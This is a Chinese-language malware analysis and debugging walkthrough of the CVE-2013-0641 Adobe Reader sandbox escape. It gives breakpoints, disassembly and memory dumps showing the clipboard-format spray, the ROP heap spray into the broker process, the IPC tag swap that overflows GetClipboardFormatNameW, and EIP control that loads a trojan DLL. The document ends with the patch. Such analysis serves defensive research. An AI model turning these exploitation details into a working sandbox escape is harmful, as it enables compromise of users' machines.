CVE-2013-0641

CVE-2013-0641 Acrobat Reader sandbox escape 调试笔记

调试环境:

Windows xp sp3_en & Adobe Reader 11.0.1 & Windbg & IDA

漏洞简介

Acrobat Reader自从引入沙盒功能以来,针对其的漏洞攻击就急剧减少,表明沙盒对攻击门槛的提高帮助不少。门槛提升不代表无法攻击,最近流传的通过spear phishing邮件发送pdf附件的攻击就是利用了2个漏洞,第一个利用xfa漏洞rop shellcode加载恶意dll后,再次利用沙盒漏洞,在broker process进程执行最终的恶意代码。

沙箱逃离流程

整个逃离过程全是在D.T dll中完成,该DLL由sandbox process触发xfa漏洞之后shellcode加载,流程如下图所示:

1.通过函数RegisterClipboardFormatW注册剪切板格式,构造0×80个dword,dword全为0×8080020。

2.触发broker process进程分配大小0xC800000内存,其中布置好rop shellcode,同时站位0×8080020附近范围的内存。

3.D.T构造调用GetClipboardFormatNameA的lpc buffer,同时更改lpc buffer对应要调用的tag变成0×73,0×73为GetClipboardFormatNameW的调用tag,broker process进程调用GetClipboardFormatNameW函数获取format,由于原本GetClipboardFormatNameW参数buffer里面填充了0×9c大小的0×42,且是单字节,但是实际的拷贝长度为0×9c×2,导致覆盖了后面的函数指针。

4.D.T构造tag id 0xb0的调用,最终在acrod32.exe 地址AcroRd32+0×9afda控制EIP,跳至0×808002c处执行已经布置好的shellcode, 该shellcode加载L2P.T dll后完成此次攻击。

调试过程

Step1: 注册ClipboardFormat

breakpoit

1
2
sandbox process: 
0 e 089c1d7c 0001 (0001) 0:**** D+0x1d7c

D.T通过user32!RegisterClipboardFormatW注册了一个clipboard format,format中构造数据为0x80个0x08080020(该地址为触发漏洞是指向的函数指针地址)。

因此注册新clipboard format的名称为0x80个0x08080020大小为200h,存放在lpszFormat中注册成功,返回表示注册的剪切板格式:0x0000c10a

1
2
3
4
5
6
7
8
RegisterClipboardFormat功能
注册一个新的剪贴板格式。这种格式可以被用来作为一个有效的剪贴板格式。
参数
lpszFormat []
类型:LPCTSTR 新的格式的名称
返回值类型:UINT
如果函数调用成功,则返回值标识已注册的剪贴板格式。
如果函数失败,返回值是零。

Step2: 构造ROP链,完成堆喷射

breakpoit

1
2
3
4
5
6
sandbox process:
1 e 089c227d 0001 (0001) 0:**** D+0x227d /////加载clbcatq.dll函数
2 e 089c2978 0001 (0001) 0:**** D!initOLEcontainer+0x5ec /////load("clbcatq.dll")
3 e 089c2a75 0001 (0001) 0:**** D!initOLEcontainer+0x6e9 /////构造rop
4 e 089c2b87 0001 (0001) 0:**** D!initOLEcontainer+0x7fb ////拷贝木马路径到共享内存30830408
5 e 089c2ba4 0001 (0001) 0:**** D!initOLEcontainer+0x818 ///拷贝ROP 堆喷

ClipboardFormat注册过后返回到D+0x2266

1
2
3
4
5
6
7
8
9
10
11
12
13
089c2266 89c3            mov     ebx,eax
089c2268 680000800c push offset <Unloaded_ow.api>+0xc7fffef (0c800000)
089c226d e85e090000 call D!initOLEcontainer+0x844 (089c2bd0)
089c2272 89c6 mov esi,eax
089c2274 85f6 test esi,esi
089c2276 750c jne D+0x2284 (089c2284)
089c2278 680000800c push offset <Unloaded_ow.api>+0xc7fffef (0c800000)
089c227d e8cb080000 call D!initOLEcontainer+0x7c1 (089c2b4d)
089c2282 89c6 mov esi,eax
089c2284 6a01 push 1
089c2286 680000800c push offset <Unloaded_ow.api>+0xc7fffef (0c800000)
089c228b 56 push esi
...

在D+227d处会加载clbcatq.dll并检测其大小,利用clbcatq.dll的代码来构造ROP链,然后开辟共享内存,将ROP链堆喷到共享内存中,大小为0xc800000

Sub_10002940

加载过clbcatq.dll后会用clbcatq.dll中的代码构造ROP链,关键代码如下:

Loc_10002B0A

最后构造的ROP链如下:size=0x400

然后在Loc_10002bb2—-Loc_10002b97中调用call sub_100030d0将L2P.T木马路径复制到共享内存中。
拷贝函数在text:1002b67 call sub_100030d0

拷贝过后将指针返回给eax=30830028(call sub_100030d0)

之后开始完成ROP链堆喷射在木马路径后边,总大小为0xc800000,从而能够在08080820处占坑,ROP链堆喷从0x30830428(3d030028-0c800000+400)到0x3d030028之间。函数如下:

Step3: 布局broker process内存

breakpoit

1
2
3
4
5
6
7
sandbox process:
5 e 089c1c23 0001 (0001) 0:**** D+0x1c23
brokerpocess:
0 e 00472c2c 0001 (0001) 0:**** AcroRd32+0x72c2c //AllocateHeap
断下以后--- 1 e 0040290b 0001 (0001) 0:**** AcroRd32+0x290b //HeapAlloc
2 e 00472c54 0001 (0001) 0:**** AcroRd32+0x72c54 //ReadProcessMemory
////3 e 0048d6b8 0001 (0001) 0:**** AcroRd32+0x8d6b8 //HttpSendRequestA

堆喷之后返回loc_10002284之后会调用IPC

Sandbox进程通过tag 0x5d调用 HttpSendRequestA函数,在调用HttpSendRequestA之前,broker进程对该调用进行检查,最后在D+0x1c28处调用call ipc读取相应内容到broker进程

调用tag 0x5d之前,此时 eax指向该IPC messager的结构头四个字节为标签0x5d,其中参数30830028对应的长度为0c800000

Call ipc之后被断下:

text:00472C2C Call sub_4218c1会调用AllocateHeap申请大小为0x0c800000大小的内存块,调用关系如下:

1
Call sub_4218c1---sub_4218CC---call loc_404FBA---loc_404FD1---call sub_4028C6--- loc_4028F7---loc_402902

HeapAlloc:

1
2
3
4
5
6
7
8
AcroRd32+0x290b:
0040290b ff155c734e00 call dword ptr [AcroRd32+0xe735c (004e735c)] ds:0023:004e735c={ntdll!RtlAllocateHeap (7c9100a4)}
0:009> p
eax=02770020 ebx=0c800000 ecx=7c9101bb edx=003e0608 esi=00000000 edi=0c800000
eip=00402911 esp=01c4fc74 ebp=01c4fc80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
AcroRd32+0x2911:
00402911 8bf8 mov edi,eax

申请堆空间过后,返回堆指针eax;size=0c800000
dd eax

申请堆过后返回调用ReadProcessMemory函数,将申请的堆中写入大小为0x0c800000的数据。
ReadProcessMemory(00000148,30830028,02770020,0c800000,01c4fce8)

1
2
3
4
5
第一个参数是 进程句柄,由OpenProcess函数获取;
第二个参数是要读出数据的地址,存放着我们堆喷的ROP链;30830028
第三个参数是用于存放读取数据的地址,为申请的堆空间;02770020
第四个参数是 要读出的数据大小;0c800000
第五个参数是实际读出数据的大小;调用返回后将填写0c800000

写入数据完成过后

从而覆盖到0808082c处刚好是构造的ROP链

Step4: 触发漏洞,造成溢出

breakpoit

1
2
3
4
5
sandbox process:
6 e 089c1ea5 0001 (0001) 0:**** D+0x1ea5 //tag(0x73)
7 e 089c22be 0001 (0001) 0:**** D+0x22be //push 9c,call ipc(0x73)
broker process
4 e 00496352 0001 (0001) 0:**** AcroRd32+0x96352 //GetClipboardFormatNameW

D.T在布局完broke process内存之后,开始构造GetClipboardFormatNameA 函数,长度为9ch,然后调用的lpc buffer,具体函数sub_10001E23

1
2
3
4
5
6
7
8
9
0:006> dd eax
089ed43c 00000073 00000000 00000000 00000000
089ed44c 00000000 00000000 00000000 00000000
089ed45c 00000000 00000000 00000000 00000000
089ed46c 00000000 00000000 00000000 00000002
089ed47c 00000006 00000064 0000009c 00000002
089ed48c 00000100 00000004 ffffffff 00000104
089ed49c ffffffff 42424242 42424242 42424242
089ed4ac 42424242 42424242 42424242 42424242

GetClipboardFormatNameA的tag 是0x74,但是改成0x73之后,broker process 进程并没有检查,对于broker process来说,参数的类型对应的函数ANSI或者UNICODE无法得知,在检查参数和大小一致性后,就开始调用tag指定的GetClipboardFormatNameW函数。
Call IPC之后被断下:

1
2
3
4
5
6
Breakpoint 2 hit
eax=01c4fdac ebx=00000000 ecx=00b638c0 edx=0f0ab140 esi=00b638c0 edi=01c4fdac
eip=00496352 esp=0106ff64 ebp=0106ff68 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
AcroRd32+0x96352:
00496352 8b450c mov eax,dword ptr [ebp+0Ch] ss:0023:0106ff74=0f0ab140

GetClipboardFormatNameW API

1
2
3
4
5
6
7
8
9
10
11
12
Function  //接受从剪贴板中的指定的注册格式的名称,将该名称复制到指定的缓冲区。
Retrieves from the clipboard the name of the specified registered format. The function copies the name to the specified buffer.
Parameters
format [in]
Type: UINT
The type of format to be retrieved. This parameter must not specify any of the predefined clipboard formats.
lpszFormatName [out]
Type: LPTSTR
The buffer that is to receive the format name.
cchMaxCount [in]
Type: int
The maximum length, in characters, of the string to be copied to the buffer. If the name exceeds this limit, it is truncated.

调用 call ds:GetClipboardFormatNameW时3个参数

参数说明:

1
2
3
Format:0x0000c10a   //step1注册
lpszFormatName:0x0f0b26ac //接受buffer
cchMaxCount:0x9c //size

buffer中的数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0:003> dd 0f0b26ac l40
0f0b26ac 42424242 42424242 42424242 42424242
0f0b26bc 42424242 42424242 42424242 42424242
0f0b26cc 42424242 42424242 42424242 42424242
0f0b26dc 42424242 42424242 42424242 42424242
0f0b26ec 42424242 42424242 42424242 42424242
0f0b26fc 42424242 42424242 42424242 42424242
0f0b270c 42424242 42424242 42424242 42424242
0f0b271c 42424242 42424242 42424242 42424242
0f0b272c 42424242 42424242 42424242 42424242
0f0b273c 42424242 42424242 42424242 0000c10a // 0f0b26ac+0x9c=0f0b2748
0f0b274c 00000000 00000000 00000000 e478f5b3
0f0b275c ff140100 0050bf20 61e00000 00000000 //0f0b26ac+0x9c+0x18
0f0b276c 00000000 00000000 00000000 00000000
0f0b277c 00000000 00000007 00000000 00000000

初始的buffer是0x9c大小,传入的cchMaxCount也是0x9c,但是user32!GetClipboardFormatNameW实际数据拷贝大小为0x9c*2,从而覆盖了后续buffer的某些关键指针。执行过后覆盖某指针:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0:003> dd 0f0b26ac l40
0f0b26ac 08080020 08080020 08080020 08080020
0f0b26bc 08080020 08080020 08080020 08080020
0f0b26cc 08080020 08080020 08080020 08080020
0f0b26dc 08080020 08080020 08080020 08080020
0f0b26ec 08080020 08080020 08080020 08080020
0f0b26fc 08080020 08080020 08080020 08080020
0f0b270c 08080020 08080020 08080020 08080020
0f0b271c 08080020 08080020 08080020 08080020
0f0b272c 08080020 08080020 08080020 08080020
0f0b273c 08080020 08080020 08080020 08080020
0f0b274c 08080020 08080020 08080020 08080020
0f0b275c 08080020 08080020 08080020 08080020 // overflowed
0f0b276c 08080020 08080020 08080020 08080020
0f0b277c 08080020 08080020 08080020 08080020
0f0b278c 08080020 08080020 08080020 08080020
0f0b279c 08080020 08080020 08080020 08080020

Step5: 控制eip

breakpoit

1
2
3
4
sandbox process
8 e 089c2094 0001 (0001) 0:**** D+0x2094 //call ipc(0xb0)
broker process
5 e 00497230 0001 (0001) 0:**** AcroRd32+0x97230 //控制eip

D.T在溢出关键数据后,在Call sub_10002044再次调用tag id 0xb0,触发调用先前布置被覆盖的某对象:接着上边的调用返回后会调用sub_10002044

Call sub_10002044

在call sub_100018a3调用tag id 0xb0

1
2
3
4
5
6
7
8
9
0:006> dd eax
089ed43c 000000b0 00000000 00000000 00000000
089ed44c 00000000 00000000 00000000 00000000
089ed45c 00000000 00000000 00000000 00000000
089ed46c 00000000 00000000 00000000 00000001
089ed47c 00000002 00000058 00000004 ffffffff
089ed48c 0000005c ffffffff 000003ea 00000000
089ed49c 00000000 00000000 00000000 00000000
089ed4ac 00000000 00000000 00000000 00000000

调用call IPC之后被断下:

最后调用rop链加载木马L2P.T

补丁

Adobe已经推出补丁,最新的Reader 11.0.02 for xp_sp3_en对比发现tag 0x73在处理GetClipboardFormatNameW callback时对传入的cchMaxCount参数进行了处理,将长度先/2,再调用GetClipboardFormatNameW就不会发生溢出了。如下: